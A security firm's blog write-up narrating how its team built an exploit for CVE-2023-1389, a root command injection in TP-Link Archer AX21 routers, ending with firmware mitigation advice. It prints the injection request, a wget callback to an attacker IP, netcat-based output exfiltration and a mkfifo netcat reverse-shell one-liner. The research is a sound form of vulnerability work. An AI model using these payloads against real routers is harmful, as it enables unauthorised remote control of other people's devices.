Exploring CVE-2023–1389: RCE in TP-Link Archer AX21

Preview

Development

In March of 2023, Tenable released a CVE advisory regarding the TP-Link Archer AX21 router. After obtaining the hardware vulnerable to the exploit mentioned in the CVE, the team at ACTIVECYBER began exploring the vulnerability and developing an exploit for it.

​According to the advisory from Tenable, CVE-2023–1389 is an unauthenticated command injection vulnerability in the write callback of the country form at the /cgi-bin/luci/;stok=/locale endpoint. Specifically, the country parameter is used in a call to popen(), which is run as the root user. Tenable included an example of the request used to trigger the vulnerability:

POST /cgi-bin/luci/;stok=/locale?form=country HTTP/1.1
Host: <target router>
Content-Type: application/x-www-form-urlencoded
operation=write&country=$(id>/tmp/out)

Using this as a starting point, we configured the router and began intercepting web requests with BurpSuite until a request similar to the one above was captured. At this point, we realized — even if it worked, there’d be no way to tell. The router was essentially a black box, with no way to access its inner workings to check if a test file was successfully written.

After thinking about it for a while, we devised a simple proof-of-concept that would demonstrate code execution – a callback to a Python web server. Spinning up the server, the team began looking through the requests that had been intercepted once again and eventually found a POST request similar to the one from the advisory. Replacing the relevant lines with the ones above and changing the command to “$(wget+http://<attacker_ip>/fakefile.txt),” we sent the command twice as specified in the advisory and hoped that wget was installed on the router.

No joy. It wasn’t going to be that easy.

After playing with the failed request a bit more, we began to further analyze the requests to better understand how it was interacting with the application. Logging into the router through the web application and looking through the various GET and POST requests eventually revealed something — all the requests using the vulnerable endpoint had the operation as part of the POST line, rather than as a separate variable at the bottom of the request. After modifying the request from the advisory to resemble those the team was seeing more closely, we double-checked the python webserver and once again sent the request twice.
​​
Success! Even though the application had sent a “500 Internal Server Error” response for both requests, this time a callback for “fakefile.txt” appeared in the web server output. Excited that we were on the right track, we modified the request again to try a slightly more complex command.

Directory Listing Attempt

Partial Directory Listing

Success again! Seeing “cgi-bin” as part of the output told us we were likely listing the contents of the /www directory, making us think that it was only a partial directory listing as “cgi-bin” is rarely alone in the web directory. Experimenting with a few other commands, such as “id” and “uname -a” confirmed our suspicions as we only received partials of the expected output.

​We then confirmed that netcat was installed on the system, then started a netcat listener on our machine and attempted an easy reverse shell with “nc <our ip> 9999 -e /bin/bash.” No luck, not even a connection attempt. Suspecting the “-e” option was unavailable on the version of netcat installed, we had to look for other options. We could have just transferred a reverse shell payload for an easy win, but we believed there was a way to gain control by living off the land. 

We took another look at the PoC in the Tenable advisory and decided we would copy them and add our own piece — send the output of the command to /tmp/out and then use netcat to transfer the file to our machine for reading. Quickly setting up two requests, one to send the output of the “ls” command to /tmp/out, and the second to transfer the file to our machine, we tested it out. We left the “wget” call to our machine in the command to verify the requests were being sent, even though there would be no output. 

​Send Output to /tmp/out

Transfer /tmp/out

Success

It worked! We now had a convoluted way to view the entire output of any commands we ran. This allowed us to explore the operating system and file structure we were working with. Still, it didn’t take too long for the manual editing and sending of requests through BurpSuite to become tedious. So naturally, the next step was automating this process with a python script.

​Our first script followed the same flow we were using with BurpSuite — send the output of the commands to a file in /tmp/out, then transfer that file to our attacker machine with netcat. After a little work, we got it working with all the necessary customizable fields such as the router IP, attacker IP and port, and the command to run.

Successful Output from the Initial PoC

We were tempted to leave it there and call it a success. After all, we were able to successfully run code on the vulnerable router and view the output. However, after discussing it a bit, we realized we were still bothered that we hadn’t achieved a reverse shell. We were certain there was a way to do it; we just hadn’t discovered it yet.

Using our newly created PoC, we began searching for every possible method we could come up with.  We tried running “nc -h” to view the available options, but for some reason, that didn’t generate any output, and since we didn’t have an interactive shell, we couldn’t check the man pages for the documentation either. We attempted various reverse connections with bash and sh, but never received a successful connection. We also searched for other scripting languages installed, such as python, perl, and PHP, but none were found. It seemed our only options were going to be netcat or bash, so with that in mind, we turned to Google to find the various techniques available for those two methods.

We had initially used pentestmonkey’s Reverse Shell Cheat Sheet for our first few reverse shell attempts; after looking through it again with a fine-toothed comb we noticed an option for netcat that we had ignored before:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc IP PORT>/tmp/f

We hadn’t tried this one yet, so after starting netcat listener, we ran the command and got a successful connection! After a bit more research we found this command tends to work for netcat on OpenBSD and BusyBox, which gave us some insight into these routers' OS.

With this newfound information, we modified the original exploit to simplify it: all that was needed was the router IP, and the attacker IP and port. After starting up the netcat listener one more time, we ran the updated exploit and checked for the connection:

Reverse Shell Exploit

Successful Reverse Shell

Success! We now had a simple, working exploit to obtain a netcat reverse shell on the vulnerable router.

Mitigation

TP-Link has already released updated firmware to fix the issue by removing the vulnerable callback. Most TP-Link Archer AX21 routers should allow users to update the firmware to the fixed version. However, the appropriate zip file for various hardware versions can be downloaded to install the updated firmware manually.

Code

The reverse shell is currently available on Exploit-DB. Don’t use the code against devices you do not have explicit permission to test. They are available purely for ethical use and educational purposes.

Previous
Previous

Password Analysis for Better Cracking

Next
Next

The Basics of Clickjacking: Unveiling the Deceptive Threat to Web Security